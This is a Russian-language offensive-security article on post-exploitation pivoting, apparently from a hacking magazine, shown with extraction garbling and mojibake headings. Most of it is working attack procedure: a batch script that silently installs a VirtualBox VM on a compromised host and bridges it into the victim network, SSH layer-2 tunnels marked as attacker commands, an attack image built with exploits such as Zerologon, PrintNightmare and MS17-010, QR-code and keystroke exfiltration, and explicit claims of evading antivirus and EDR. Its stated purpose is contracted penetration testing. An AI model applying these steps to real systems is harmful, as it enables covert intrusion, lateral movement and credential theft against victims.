тировать ее в самодос таточ ный ova-файл: Файл → Экспорт кон фигура ций →
Далее → Далее.

Весь образ нашего супер шлю за умес тился в файл  раз- 
мером 38 Мбайт. Образ такого фор мата мак сималь но удо бен для импорти- 
рова ния на ата куемую машину. Что бы пос тавить VirtualBox в фоновом режиме
и без GUI, нужен пакет .msi. Пред варитель но дос тать его мож но из exe-
инстал лятора VirtualBox (на сто роне ата кующе го):

linux.ova

virtualbox-5.2.6-120293-Win.exe -extract

В пап ке  появят ся все необ- 

ходимые фай лы, которые нуж но будет ско пиро вать на машину жер твы
для пос леду ющей скры той уста нов ки:

%USER%\appdata\local\temp\virtualbox\

copy VirtualBox-5.2.6-r120293-MultiArch_x86.msi 
copy VirtualBox-5.2.6-r120293-MultiArch_amd64.msi 
copy common.cab 
copy cert.cer 
copy linux.ova 
copy install.bat 
start install.bat 

На конец, для авто мати чес кой уста нов ки на ском про мети рован ном хос те
из кон соли исполь зуем сле дующий скрипт .bat:

pushd %~dp0 
certutil -addstore TrustedPublisher cert.cer 

   dir "c:\prog*86)" > nul 2> nul && (

2 
0 

0 0 
0 c: ost

       msiexec /i VirtualBox-5.2.6-r120293-MultiArch_amd64.msi /
quiet /log vbox_install.log ALLUSERS= ADDLOCAL=VBoxApplication,
VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=
VBOX_INSTALLQUICKLAUNCHSHORTCUT= VBOX_REGISTERFILEEXTENSIONS=
VBOX_START= INSTALLDIR= \p \
  ) || (

2 
0 

0 0 
0 c: ost

       msiexec /i VirtualBox-5.2.6-r120293-MultiArch_x86.msi /quiet 
/log vbox_install.log ALLUSERS= ADDLOCAL=VBoxApplication,
VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=
VBOX_INSTALLQUICKLAUNCHSHORTCUT= VBOX_REGISTERFILEEXTENSIONS=
VBOX_START= INSTALLDIR= \p \
)
ping nul -n 300 127.0.0.1 >
c: ost\p \vboxmanage import linux.ova --options keepallmacs 

c: ost  \p \vboxmanage list bridgedifs|findstr /R "^Name:" > out.txt 
setlocal enabledelayedexpansion 

 /a 1 set c=
 /f  %%i    for "tokens=2*" in ('type out.txt') do (

c: ost       echo \p \vboxmanage modifyvm linux --nic!c! bridged 
--nictype!c! 82540EM >> out.bat 

c: ost
c!  

       echo \p \vboxmanage modifyvm linux --nic!c! bridged 
--bridgeadapter! "%%i %%j" >> out.bat 

c: ost       echo \p \vboxmanage modifyvm linux --nicpromisc!c! allow-
all >> out.bat 

 /a c+1        set c=
)
chcp 1251 
call out.bat 
chcp 866 
c: ost  on \p \vboxmanage modifyvm linux --pae
c: ost  on \p \vboxmanage modifyvm linux --ioapic
c: ost\p \vboxmanage startvm linux --type headless 

Ис поль зуя магию вир туали зации, мы брид жим сетевые интерфей сы жер твы
(host-сис темы) и GW-обра за (guest-сис темы).

Ин жект скры той вир туал ки в Windows с брид жингом ее сети — парази -
тиру ем на сети ском про мети рован ного узла

Пос ле это го в сетевом сег менте жер твы появ ляет ся новый IP-адрес нашей
GW-сис темы.

Для откры тия L2-пор тала через GW внут ри вир туал ки под нима ем по SSH
тун нель L2 и точ но так же брид жим его уже с вир туаль ным интерфей сом eth0:

gw> vi /etc/ssh/sshd_config: 
PermitTunnel ethernet 

gw> /usr/sbin/sshd 
gw> modprobe tun 
gw> modprobe bridge 

 attacker> sudo ssh root@vbox -o Tunnel=ethernet -w any:any 
gw> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; 
ifconfig eth0 0 promisc; ifconfig br0 10.0.0.18 netmask 255.255.255.0
; route add -net default gw 10.0.0.1 
gw> ifconfig tap0 up 
attacker> dhclient tap0 

Про изне сение зак линаний на GW для получе ния L2-дос тупа в сетевой
сег мент жер твы

По фак ту мы име ем дело с двой ным сетевым мос том. Пер вый на хос те дос- 
тавля ет все пакеты в сетевой интерфейс вир туаль ной машины. Вто рой уже
на сто роне гос тевой ОС — копиру ет пакеты в любой VPN-тун нель, который
мы соз дадим. А самый прос той L2 VPN — это SSH.

От кры ваем с GW L2-тун нель VPN

Как бы далеко от жер твы мы ни находи лись, это дает нам еще один внут- 
ренний IP-адрес пря мо из ее под сети.

Те лепор тация в сетевой сег мент ском про мети рован ной машины

По пада ние в сетевой сег мент рас ширя ет перечень атак прик ладно го уров ня
уже сетевы ми: ARP spoong, mitm6, responder, coerce и так далее.

Ата кующий уда лен но раз вива ет L2-ата ки — нап ример, NetBIOS spoong

В дан ном слу чае это решение проб лемы несос тоятель нос ти ОС Windows
в воп росах L2-атак и перех вата тра фика.

Èñïûòûâàåì GW.img íà qemu-system â Linux (åñòü ïðèâèëåãèè,

åñòü ýêñôèëüòðàöèÿ)

Ес ли мы получи ли пол ные пра ва на машине под управле нием Linux — нам
повез ло. Ско рее все го, нам хва тит штат ных воз можнос тей ОС для проб роса
пор тов и тун нелиро вания без вся ких вир туалок. Но если это будет ста рая сис- 
тема, на которой не ока жет ся нуж ных пакетов, мы стол кнем ся с проб лемами.

На ша же задача как раз сос тоит в том, что бы мак сималь но огра дить себя
от необ ходимос ти адми нис три рова ния ском про мети рован ных сис тем, абс- 
тра гиро вав шись от них пор татив ной вир туаль ной машиной с ОС, где есть все
необ ходимое.

На Linux с пол ными root-пра вами нам вновь поможет QEMU, толь ко запус- 
кать его мы будем уже с соз дани ем пол ноцен ного интерфей са L2 TAP:

 64M 
no 

./qemu-system-i386 -hda gw.qcow2 -m -net nic,macaddr=00:11:22:33:
44:55 -net tap,script=

QEMU соз дает в хос товой ОС TAP-интерфейс, свя зан ный нап рямую с Eth-
интерфей сом гос тевой ОС. И что бы пакеты из сети ском про мети рован ной
машины с ее Eth-интерфей са ста ли пос тупать через TAP-интерфейс внутрь
GW-обра за, нуж но сбрид жить эти сетевые интерфей сы:

brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; 
ifconfig eth0 0 promisc; ifconfig br0 10.0.0.100 netmask 255.255.255.
0; route add -net default gw 10.0.0.1 

Ин жект пор татив ной вир туаль ной машины для кра жи L2-дос тупа в сеть
жер твы

И точ но так же, как и в прош лый раз, внут ри гос тевой ОС мы соз даем VPN-
тун нель через SSH. Про дол жаем брид жить ее Eth-интерфейс c TAP-
интерфей сом уже SSH-тун неля:

gw> /usr/sbin/sshd 
gw> modprobe tun 
gw> modprobe bridge 

 attacker> sudo ssh root@vbox -o Tunnel=ethernet -w any:any 
gw> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; 
ifconfig eth0 0 promisc; ifconfig br0 10.0.0.18 netmask 255.255.255.0
; route add -net default gw 10.0.0.1 
gw> ifconfig tap0 up 
attacker> dhclient tap0 

Ре зуль татом будет телепор тация ата кующе го в сетевой сег мент жер твы
через вир туаль ную машину.

Пол ноцен но (L2) заходим в сеть жер твы и начина ем там шалить — перех -
ватывать тра фик сосед них машин

Ну и к при меру, пос леду ющая ата ка перех вата тра фика поз воля ет нам узнать
пароль SSH-под клю чения ком па жер твы к сосед ним узлам.

Ус пешная L2-ата ка перех вата тра фика на узлы сетево го сег мента

Вмес то соз дания собс твен ных from scratch обра зов раз мером в нес коль ко
десят ков мегабайт мы всег да можем вос поль зовать ся любым готовым обра- 
зом. Ведь если в тво ем рас поряже нии есть канал эксфиль тра ции, мож но дос- 
тавить на ском про мети рован ную ОС образ раз мером вплоть до нес коль ких
гигабайт.

ÇÀÊËÞ×ÅÍÈÅ

Мы рас смот рели орга низа цию пивотин га во всех воз можных сце нари ях пос- 
тэкс плу ата ции с каналом эксфиль тра ции — на Windows и на Linux,
при наличии прав и без таковых. Бла года ря тех нологи ям эму ляции и вир-
туали зации эти сце нарии кажут ся очень похожи ми даже на раз ных ОС, абс- 
тра гируя нас от опе раци онной сис темы на хос те и пре дос тавляя еди ный
интерфейс — один и тот же образ, одни и те же при выч ные pivoting-ути литы.

Вир туали зация и эму ляция дела ют воз можным уни вер саль ный pivoting-
под ход на все слу чаи жиз ни, пок рывая любые ситу ации, с которы ми толь ко
мож но стол кнуть ся на прак тике. В сле дующей час ти мы погово рим о том,
как выжить на ата куемой сис теме без канала эксфиль тра ции, ког да пивотинг
невоз можен и ата ки дол жны раз вивать ся непос редс твен но с ата куемой сис- 
темы.
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Ес ли во вре мя пен теста ата кующий ока зал- 
ся в сис теме, на которой отсутс тву ет канал
для эксфиль тра ции, отча ивать ся рано.
На помощь при дет магия эму ляции и вир- 
туали зации. Эти тех нологии поз воля ют
не толь ко выпол нять пивотинг, но и активно
раз вивать ата ки, даже если дело понача лу
казалось без надеж ным.

Пос ле про бития перимет ра воз можны раз ные вари анты раз вития атак уже
во внут ренней сети. Ско рее все го, реаль но нащупать канал переда чи дан ных,
через который мож но пре дос тавить себе уда лен ный сетевой дос туп. Тем
не менее быва ют ситу ации, ког да меж ду ата кующим и жер твой нет под- 
ходяще го канала переда чи дан ных — эксфиль тра ции.

Де ло в том, что далеко не все каналы эксфиль тра ции при год ны для проб- 
роса соеди нений и орга низа ции уда лен ного дос тупа. Нап ример, внут ренняя
сеть ком пании отре зана от интерне та, но на ее рабочие стан ции могут при- 
ходить элек трон ные пись ма извне. В этом слу чае стан дар тные тех ники
пивотин га неп римени мы. Но воз можность при ема фай лов сох раня ется,
а вмес те с ней сох раня ется и воз можность раз вития атак.

Со слож ностя ми, опи сан ными в этой статье, ты, ско рее все го, стол кнешь- 
ся при ана лизе защищен ности уда лен ных рабочих мест: нап ример, нат кнув- 
шись на какой-нибудь хит рый тер миналь ный RDP-дос туп или секь юрно нас- 
тро енный SSH-шлюз. Как бы то ни было, даже если запиво тить ся невоз- 
можно, отча ивать ся рано. Нам нуж но идти даль ше и раз вивать ата ки непос- 
редс твен но со ском про мети рован ной машины. Здесь нам на помощь вновь
при дет магия эму ляции и вир туали зации.

Эта статья — про дол жение пуб ликации «

».

Вир- 
туаль ная магия. Исполь зуем эму ляцию и вир- 
туали зацию для пивотин га

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÎÁÐÀÇ ATTACK.IMG (POST_3)

Это тре тий кейс пос тэкс плу ата ции. У нас нет прав и нет канала эксфиль тра- 
ции, при год ного для пивотин га. Ата ки пред сто ит раз ворачи вать непос редс- 
твен но с ата куемой сис темы.

Пос коль ку раз витие атак с адми нис тра тив ными при виле гиями — это сво- 
его рода час тный слу чай раз вития атак вооб ще, который всег да вклю чает
в себя ата ки, выпол няемые с уров ня L3, мы спер ва рас смот рим их. Такие ата- 
ки не будут тре бовать адми нис тра тив ных или root-при виле гий.

Тех ника сетево го дос тупа с гос тевой ОС в хос товую сеть на ском про мети- 
рован ной машине та же самая, что в post_1, раз ница лишь в отсутс твии тун- 
нелей и необ ходимос ти раз вивать ата ку непос редс твен но изнутри обра за
гос тевой ОС.

Раз витие атак с уров ня L3 — через неп ривиле гиро ван ные TCP/UDP-
сокеты NAT-режима

Мы можем не соз давать образ с нуля, а вос поль зовать ся любым готовым, тем
же Kali Linux. Одна ко нуж но иметь в виду, что сей час мы рас смат рива ем ситу- 
ации, ког да при год ных каналов эксфиль тра ции нет, а зна чит, дос тавка обра за
в нес коль ко гигабай тов может выз вать нешуточ ные слож ности. Мне как-то
доводи лось про тас кивать инс тру мен тарий через вло жения по элек трон ной
поч те мно жес твом кусоч ков по 5 Мбайт.

По это му будем ста рать ся разум но исполь зовать дис ковое прос транс тво
и добивать ся минималь ного раз мера финаль ного обра за. Ведь сбор ка
минима лис тично го обра за, лишен ного все го ненуж ного, раз мером
в пару-трой ку сотен мегабайт может ока зать ся очень кста ти.

На чина ем собирать образ фай ловой сис темы. Исполь зуем Alpine:

sudo docker pull i386/alpine:3.18 
sudo docker run --name attack -it i386/alpine:3.18 /bin/sh 

Как  с обра зом GW, мы отталки ваем ся от началь ной фай ловой сис темы
объ емом в 5 Мбайт. На минуточ ку, 10 Мбайт — это эму лятор, 5 Мбайт —
образ Linux, а в 15 Мбайт у нас помеща ется готовая рабочая Linux-сис тема,
которую мы можем запус кать где угод но, без уста нов ки и без прав! Неп лохое
начало...

ра нее

Для луч шей обратной сов мести мос ти мы исполь зуем 32-бит ный образ,
более перено симый (он работа ет в сис темах x64, но не наобо рот). Этот
образ менее популя рен, и отто го уста нов ка некото рых пакетов с пред компи- 
лиро ван ными фай лами под x64 пот ребу ет уже переком пилиро вать их в x32.
Поэто му нам при дет ся уста новить некото рые лиш ние пакеты. Если же ты
решишь соз дать x64-образ, то уста нов ка мно гих пакетов будет про ще и не
пот ребу ет час ти зависи мос тей.

Те перь перей дем к напол нению обра за теми ути лита ми, которые так
или ина че могут понадо бить ся нам при раз витии атак во внут ренней сети. Тут
все нес коль ко субъ ективно, поэто му я про демонс три рую напол нение attack-
обра за хакер ски ми ути лита ми на все слу чаи жиз ни во внут ренней сети
по сво ему вку су.

Нач нем с жиз ненно необ ходимых ути лит:

apk update 
apk add tmux busybox-extras openrc dhclient iptables git curl socat 
proxychains-ng openssl tcpdump 

По тен циаль но мы можем стол кнуть ся со сце нари ем пос тэкс плу ата ции, ког да
у нас не будет удоб ного GUI и нам пот ребу ется пред варитель но авто мати чес- 
ки нас тро ить сеть в исполь зуемом для ата ки обра зе. Так мы смо жем по сети
управлять сис темой хоть с кон соли, хоть с веб-шел ла. Для начала обес печим
сис теме авто мати чес кий выход с нами на связь:

touch /etc/local.d/init.start 
chmod +x /etc/local.d/init.start 
vi /etc/local.d/init.start 
   #!/bin/sh

 1    dmesg -n
   mount -o remount,rw / 
   ifconfig lo 127.0.0.1 netmask 255.0.0.0 

   #dhclient eth0
   ifconfig eth0 10.0.2.15 netmask 255.255.255.0 
   route add -net default gw 10.0.2.2 
   busybox-extras telnetd 

rc-update add local
passwd root 
adduser user 
chmod u+s /bin/busybox 

Зна читель ная часть арсе нала экс пло итов инфраструк туры Active Directory
написа на на Python, так что ста вим его и его пакет ный менед жер:

apk add python3 python3-dev py3-pip 

Нам, как ни кру ти, пот ребу ется ком пиляция, поэто му уста нав лива ем GCC:

apk add gcc make libc-dev 

Раз мер обра за замет но вырос — сра зу на 200 Мбайт. И по мере уста нов ки
всех необ ходимых нам пакетов он раз дует ся аж до 2 Гбайт. Одна ко в кон це,
пос ле сбор ки все го необ ходимо го, мы уда лим все ненуж ное.

Те перь добавим глав ный хакер ский пакет про тив Windows-сис тем, содер- 
жащий необ ходимые мно гим скрип там биб лиоте ки:

apk add rust cargo openssl-dev libffi-dev 
pip3 install impacket 
 rm -r /root/.cargo 

Це лых 55 Мбайт, но в при дачу к impacket мы получа ем пач ку кру тых исполня- 
емых фай лов для уда лен ного адми нис три рова ния и не толь ко.

Да лее по поряд ку перей дем к уста нов ке ути лит раз ведки, экс пло итов,
без которых не обой тись, и средств для пос тэкс плу ата ции — куда без них?

Что за тес тирова ние на про ник новение без ска ниро вания пор тов? Ста вим
Nmap и его скрип товый дви жок:

apk add nmap nmap-scripts 

С помощью Nmap мы можем не толь ко ска ниро вать пор ты, но и решать мно- 
жес тво дру гих задач — собирать допол нитель ные све дения от служб, искать
некото рые уяз вимос ти и про водить ата ки с под бором пароля. И это обош- 
лось нам все го в 25 Мбайт!

Пос коль ку основная цель ата ки — домен, тре бует ся инс тру мент для вза- 
имо дей ствия с LDAP. Пакет openldap-clients пре дос тавля ет ряд натив ных ути- 
лит поис ка (ldapsearch), добав ления (ldapadd), изме нения (ldapmodify) и уда- 
ления (ldapdelete) объ ектов и атри бутов в AD, при чем этот инс тру мен тарий
весит все го лишь мегабайт:

apk add openldap-clients 

При выч ный и удоб ный резолв при помощи host или dig будет сто ить
нам 6 Мбайт:

apk add bind-tools 

А вот основной инс тру мент раз ведки, поис ка уяз вимос тей и мис конфи гов
в Active Directory:

git clone https://github.com/fox-it/BloodHound.py 

Скрипт для сбо ра все объ емлю щей информа ции о AD обой дет ся все го
в 1 Мбайт. Его дамп мож но будет впос ледс твии выг рузить и про ана лизи- 
ровать уже на сво ем компь юте ре. Одна ко прод вижение по сетям с Active
Directory — это не толь ко ана лиз мис конфи гов, но еще и экс плу ата ция уяз- 
вимос тей, так что перей дем к наибо лее акту аль ным экс пло итам.

Вот, пожалуй, самый низ ко висящий фрукт в инфраструк туре AD, не тре- 
бующий ни учет ки, ни наличия IP-адре са и про бива ющий сра зу DC:

git clone https://github.com/dirkjanm/CVE-2020-1472 zerologon 

Вос поль зуем ся край не популяр ной сей час темой с так называ емы ми при нуж- 
дени ями к аутен тифика ции (coerce):

git clone https://github.com/p0dalirius/Coercer 
 rm -r .git/ documentation/ 

Тех ника coerce исполь зует ся в боль шом количес тве атак на инфраструк туру
AD для зах вата Kerberos-билетов или обхо да NTLM-аутен тифика ции.

Прав да, в нашем слу чае име ет мес то сущес твен ное огра ниче ние —
у запущен ной без прав вир туал ки не будет сво его IP-адре са из локаль ной
сети и воз можнос ти занять 445-й порт. Одна ко если мы при нудим хост
выпол нить под клю чение на порт выше 1024, то его реаль но будет завер нуть
на вир туал ку без админ ских прав и реали зовать в даль нейшем ту или иную
ата ку.

Ес ли мы исполь зуем coerce в сочета нии с Kerberos, то обя затель но берем
с собой сле дующий инс тру мент:

git clone https://github.com/dirkjanm/krbrelayx 

Не лиш ним будет исполь зовать нашумев шие тех ники повыше ния при виле гий
через ADCS:

pip3 install certipy-ad 
git clone https://github.com/dirkjanm/PKINITtools 

Еще одна уяз вимость пос тарше, поз воля ющая ском про мети ровать DC:

git clone https://github.com/dirkjanm/PrivExchange 

Не забыва ем про экс плу ата цию ACL-мис конфи гов:

rich 
git clone https://github.com/ShutdownRepo/pywhisker && pip3 install 

git clone https://github.com/Hackndo/pyGPOAbuse 

Так же всег да полез но пос мотреть информа цию на сетевых дис ках
с помощью того же  или , нап ример с целью поис ка cpassword.

Для мон тирова ния уда лен ной SMB-шары и прев ращения ее в локаль ную пап- 
ку пот ребу ется лишь один пакет:

grep find

apk add cifs-utils 

Те перь вспом ним о тех уяз вимос тях непос редс твен но рабочих стан ций и сер- 
веров, которые чаще все го встре чают ся и экс плу ата ция которых дает наивыс- 
ший импакт и не тре бует осо бых усло вий и уси лий. Сре ди них — уяз вимость
под систе мы печати Windows:

git clone https://github.com/cube0x0/CVE-2021-1675 PrintNightmare 

Уяз вимость MS17-010 — это самый низ ко висящий фрукт на рабочих стан циях
и Windows-сер верах. Да, уяз вимость уже не так молода, но иног да встре чает- 
ся в ред ко обновля емых сис темах:

git clone https://github.com/3ndG4me/AutoBlue-MS17-010 

Па ру слов про Linux. Самый прос той и наибо лее веро ятный спо соб быс тро
ком про мет нуть Linux-хост — это подоб рать к нему пароль по SSH, а затем
исполь зовать OpenSSH:

apk add openssh-client 

Так же на Linux иног да встре чает ся RCE-мис конфиг неог раничен ного дос тупа
к X-сер веру, экс плу ати руемый с помощью xdotool:

apk add xdotool 

И про активное сетевое обо рудо вание тоже не забыва ем. Это уяз вимость
из раз ряда by-design, поз воля ющая выг рузить кон фиг с Cisco или залить
на него:

git clone https://github.com/frostbits-security/SIETpy3 

Ну и напос ледок мож но нем ного пошуметь в сети с Nuclei:

wget https://github.com/projectdiscovery/nuclei/releases/download/v3.
2.2/nuclei_3.2.2_linux_386.zip 
unzip nuclei_3.2.2_linux_386.zip nuclei -d /usr/local/bin/ 
git clone https://github.com/projectdiscovery/nuclei-templates ~/
nuclei-templates
 rm -r ~/nuclei-templates/.git/ 

Ес ли пен тесте ру удас тся прод винуть ся по локаль ной сети, то для рас кру чива- 
ния горизон таль ного переме щения все же слож но будет обой тись без сле- 
дующе го инс тру мен тария:

apk add g++ libxml2-dev libxslt-dev jpeg-dev 
git clone https://github.com/byt3bl33d3r/CrackMapExec 
pip3  install .
 rm -r CrackMapExec 
 rm -r /root/.cargo/ 

apk del rust cargo libxml2-dev libxslt-dev jpeg-dev 

Прав да, объ ем пакетов сос тавля ет 120 Мбайт. Зато вмес те с 
будет уста нов лен , пред назна чен ный для выдер гивания учет ных

записей из дам пов про цес са  пря мо на нашей вир туал ке.

И , поз воля ющий уда лен но рас парсить его пря мо на машине жер твы.

CrackMapExec
pypykatz

lsass.exe
lsassy

Кро ме того, мы получа ем замеча тель ную LDAP-кон соль . Этот инс-
тру мент име ет ряд полез ных для пен теста фун кций: нап ример, он единс твен- 
ный спо собен под Linux выдать канони чес кие ACL у любых объ ектов AD. Так- 
же он под держи вает все PTH, PTT и PTC на LDAP. И еще вмес те с ним
по зависи мос тям мы получа ем отличный набор скрип тов для манипу лиро- 
вания Kerberos-билета ми — minikerberos, который прек расно допол няет
impacket. Так что 120 Мбайт — это не такая боль шая пла та за получен ные
воз можнос ти.

msldap

В ходе боково го переме щения мы неиз бежно стол кнем ся со мно жес твом
хешей. Сов сем сла бые пароли мы смо жем подоб рать пря мо на нашей вир- 
туал ке. Для это го возь мем john:

apk add perl linux-headers libgomp 
 git clone https://github.com/openwall/john john-src && cd john-src/

src 
./configure --disable-simd
make 
 ..  cd && mv run/ /opt/john/ 
 ..   cd && rm -r john-src 

На конец, как же обой тись без велико го и могуче го Metasploit?

git clone https://github.com/rapid7/metasploit-framework 
 rm -r .git/ 

apk add ruby ruby-bundler ruby-dev libffi-dev libpq-dev libpcap-dev 
ncurses 
bundle install

Об рати вни мание: уда лив слу жеб ную пап ку , мы осво боди ли целый

гигабайт! С помощью Metasploit мы можем не толь ко про изво дить опе рации
пос тэкс плу ата ции, но и экс плу ати ровать уяз вимос ти, искать их, под бирать
пароли ко мно жес тву сер висов, а так же выпол нять качес твен ную раз ведку.

.git

Те перь необ ходимо орга низо вать переда чу дан ных в пре делах ском про- 
мети рован ной машины — меж ду ее хос товой ОС и гос тевым обра зом ОС.
Про ще все го это сде лать с помощью FTP-сер вера на Python:

pip3 install pyftpdlib 
 21 sudo python3 -m pyftpdlib -p

Пос ле это го с помощью обыч ного про вод ника Windows мож но закиды вать
фай лы на нашу вир туал ку или ска чивать их с нее.

Хоть мы и рас смат рива ем кейс, ког да каналов эксфиль тра ции с компь юте- 
ра жер твы в нашем рас поряже нии нет, один канал у нас все вре мя был
перед гла зами — это монитор (GUI или кон соль). На самом деле впол не
реаль но извлечь неболь шие дам пы, хеши или про чую информа цию
с физичес ки изо лиро ван ного хос та пос редс твом QR-кодов. А для рен дера
QR-кодов хва тит и кон соли:

git clone https://github.com/s0i37/exfiltrate 
gcc -c lib/qrcodegen.c 
gcc -c qr_upload.c 
gcc qr_upload.c qrcodegen.o -o qr_upload 
apk add util-linux 

Впол не воз можно, что мы что-то забыли положить в образ, нап ример
какой-то скрипт или сло варик. Канал инфиль тра ции у нас тоже все это вре мя
находил ся перед гла зами — это кла виату ра. Мы можем авто мати чес ки наб- 
рать на ней любой файл не очень боль шого раз мера, будь он тек сто вым
или бинар ным. Для это го будем исполь зовать на сто роне ата кующе го сле- 
дующий инс тру мент:

git clone https://github.com/s0i37/exfiltrate 
setxkbmap us 
cat file.txt | ./text_send.sh 
cat file.bin | base64 | ./text_send.sh 

Та ким обра зом, в самых труд ных ситу ациях вынимать фай лы мы смо жем
по QR-кодам, а переда вать — отправ ляя нажатия кла виш. Ско рость при этом
будет сопос тавима с DNS-тун нелями.

Приш ла пора убрать лиш ние фай лы, которые тре бова лись в про цес се
сбор ки:

pip3 cache purge 
apk del make gcc g++ libc-dev python3-dev git linux-headers 

Мы осво боди ли 460 Мбайт! Кажет ся, мы всё соб рали. Кто-то навер няка
допол нил бы мой скром ный спи сок самых необ ходимых ути лит. А ленивый
и вов се взял бы готовый образ Kali.

Да лее мы про щаем ся с «Докером» и перехо дим к chroot. Нам пот ребу ется
пре обра зовать кон тей нер Docker в образ, при год ный для мон тирова ния.
Спер ва дам пим все фай лы:

sudo docker export attack > attack.tar 

При этом дам пятся имен но фай лы, полез ные дан ные, а не сама фай ловая
сис тема. Так все пус тоты на дис ке уйдут.

Да лее соз дадим диск-образ и перене сем туда фай лы:

 truncate -s 2G attack.img 
fdisk attack.img 
n p w 

 2048sudo losetup -o $[ *512] /dev/loop0 attack.img 
sudo mkfs.ext4 /dev/loop0 
sudo mount /dev/loop0 /media/iso 
cd /media/iso 

xvf sudo tar $OLDPWD/attack.tar 
boot sudo mkdir 

 - cd

По ка наш образ неде еспо собен без «Докера» или chroot. Что бы вдох нуть
в него жизнь, понадо бит ся ядро. Каких-то тре бова ний к вер сии ядра,
в общем-то, нет. Мы можем исполь зовать уже соб ранное ядро для GW-обра- 
за. Прос то копиру ем его и его драй веры:

cd /usr/src/linux-5.16.12 
make sudo INSTALL_PATH=/media/iso/boot install
make sudo INSTALL_MOD_PATH=/media/iso/ modules_install 

 - cd

Яд ро умес тилось в 15 Мбайт.
За ходим внутрь обра за и соз даем рам диск, необ ходимый для заг рузки

сис темы:

sudo chroot /media/iso /bin/sh 
echo nameserver 8.8.8.8 > /etc/resolv.conf 
apk add mkinitfs 

 mkinitfs -k -o /boot/initrd.img-5.16.12 5.16.12 
apk del mkinitfs 
exit

Вир туаль ный диск занял 3 Мбайт. Выходим обратно в свою сис тему.
Ус танав лива ем заг рузчик grub и кон фигури руем его:

sudo grub-install --target=i386-pc --boot-directory=/media/iso/boot/ 
attack.img --modules='part_msdos'      <5M 

 cat <<E | sudo tee /media/iso/boot/grub/grub.cfg
set timeout=5
menuentry "Alpine Linux" {
linux /boot/vmlinuz-5.16.12 root=/dev/sda1 rw noapic
initrd /boot/initrd.img-5.16.12

}
E

Заг рузчик пот ребовал 5 Мбайт. Образ готов. Отсо еди няем его:

sudo umount /media/iso/ 
sudo losetup -d /dev/loop0 

А теперь сож мем образ на мак симал ках для переда чи на машину жер твы:

zip -9 attack.zip attack.img 

Нес мотря на то что мы задали раз мер обра за рав ным 2 Гбайт, архи ватор
сжал пус тоты на дис ке и внут ри фай лов, и в резуль тате объ ем готово го
боево го обра за получил ся все го 590 Мбайт.

Èñïûòûâàåì Attack.img íà QEMU â Windows (íåò ïðèâèëåãèé, íåò

ýêñôèëüòðàöèè)

Мы уже зна ем, как без адми нис тра тив ных прав запус тить вир туаль ную
машину. Рань ше мы так делали с GW-обра зом. Раз верты вание пор татив ного
боево го плац дарма на вин де с соз данным нами attack-обра зом выг лядит точ- 
но так же — мы прос то копиру ем на ском про мети рован ную машину пап ку
с QEMU.

Фор мат обра зов QEMU так же под держи вает сжа тие:

 qemu-img convert attack.img -c -O qcow2 attack.qcow2 

Сжа тие дает нам не толь ко выиг рыш в раз мере обра за ата кующей ОС: с его
помощью мы скры ваем ся от прос того сиг натур ного поис ка анти виру сом,
а бла года ря слою эму ляции пря чем ся еще и от поведен ческо го ана лиза.
И лег ко, за пару минут, без вся ких прав, на древ ней Windows XP мы запус каем
Мetasploit, да еще и при работа ющем анти виру се:

 nic qemu-system-x86_64.exe -hda attack.qcow2 -m 512M -net -net user (
-display curses)

Раз верты вание боево го плац дарма без прав и под над зором
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Итак, подыто жим. Нам не тре буют ся адми нис тра тив ные при виле гии. Не нуж но
ничего уста нав ливать — весь необ ходимый софт будет сра зу в нашем рас- 
поряже нии в пор татив ном исполне нии. Анти виру сы не уви дят наши хакер ские
инс тру мен ты, пос коль ку мы исполь зуем спе цифич ный фор мат обра зов,
да еще и со сжа тием.

А исполь зование хакер ско го плац дарма за сло ем эму ляции, помимо
удобс тва и перено симос ти, дает нам еще одно пре иму щес тво — поч ти вся
наша активность (кро ме сетевой) будет недос тижима для EDR-механиз мов
жер твы, ведь все про исхо дит внут ри обра за и не каса ется WinAPI хос товой
ОС.

Èñïûòûâàåì Attack.img íà qemu-system â Linux (íåò ïðèâèëåãèé,

íåò ýêñôèëüòðàöèè)

С Linux без root-прав мы сно ва исполь зуем QEMU:

 nic ./qemu-system-i386 -hda attack.qcow2 -m 512M -net -net user,
hostfwd=tcp:127.0.0.1:2323-10.0.2.15:23 

Как тебе такое повыше ние при виле гий?

Раз верты вание боево го плац дарма без прав

Вмес то экс тре маль ного раз верты вания хакер ско го инс тру мен тария с кучей
биб лиотек и к тому же без прав мы с ком фортом работа ем в заранее заготов- 
ленной любимой ОС, запус каемой под сло ем эму ляции пос редс твом пор- 
татив ной вир туаль ной машины.

В ком плек те с вир туаль ной машиной есть еще ути лита qemu-img. С ней мы
можем пря мо на ском про мети рован ном узле соз дать образ еще одно го дис- 
ка и исполь зовать его как для рас ширения дис кового прос транс тва ата- 
кующей ОС, так и для рас ширения RAM, на слу чай если компь ютер жер твы
име ет очень сла бую кон фигура цию.

ÎÁÐÀÇ ATTACK.IMG (POST_4)

Идея раз вития атак при наличии пол ных прав на ском про мети рован ной
машине без канала эксфиль тра ции схо жа с post_2 в спо собе проб роса L2-
дос тупа внутрь вир туал ки. И, как и в слу чае с post_3, она под разуме вает раз- 
витие атак непос редс твен но изнутри обра за вир туаль ной машины.

Раз витие атак с уров ня L2 — через двой ной bridge

В обра зе  спе циаль но отсутс тво вали все скрип ты и прог раммы

для реали зации L2-атак, пос коль ку мы спер ва рас смат ривали слу чай пос тэкс- 
плу ата ции без адми нис тра тив ных прав или root. Но теперь мы пред полага ем,
что у нас есть такие пра ва.

attack.img

До бавим в наш уже готовый образ ряд ути лит для L2-атак. Тут сно ва мно- 
гое инди виду аль но и зависит от тво ей фан тазии.

Удоб ный кон соль ный сетевой сниф фер  поможет быс тро обна- 

ружить в перех ватыва емом сетевом тра фике ту или иную информа цию.
Легитим ная ути лита  прек расно уме ет работать в роли rogue DNS
сер вера. А  иде ален для прок сирова ния перех вачен ного тран зитно- 

го тра фика на спе циали зиро ван ные при ложе ния:

ngrep

dnsmasq
redsocks

apk add ngrep dnsmasq redsocks 

